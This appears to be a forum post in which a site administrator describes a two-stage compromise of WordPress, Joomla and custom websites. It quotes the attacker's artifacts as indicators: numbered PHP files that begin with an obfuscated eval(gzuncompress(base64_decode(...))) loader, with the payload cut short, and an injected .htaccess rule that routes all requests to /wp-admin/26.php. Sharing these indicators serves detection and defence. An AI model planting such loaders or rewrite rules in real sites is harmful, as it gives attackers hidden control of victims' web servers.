@emsi - it makes sense to post here. Be it only to make clear it is not a WP epxloit (what one might think at first) - We have also Joomla, and custom coded websites affected by this.
Important Note: the attack comes in two stages. In stage one you see the html code injected as above.
About a day later I see uploads of files that have names like "23.php" or "56.php" - allways a two digit number.
Those files are start with something like:
<? eval(gzuncompress(base64_decode('eNqdWNtuGkkQ...UQ=='))); ?>
I haven't yet decoded the binary to see what it does.
You also see an upload of a .htaccess file wit this content:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /wp-admin/26.php?q=$1 [L]
</IfModule>
Where the binary code is being uncompressed and executed.
From what I can see on my behalf I suspect the involvement of the TR/Crypt.XPACK.Gen Trojan - but I can not yet 100% confirm it.
Sven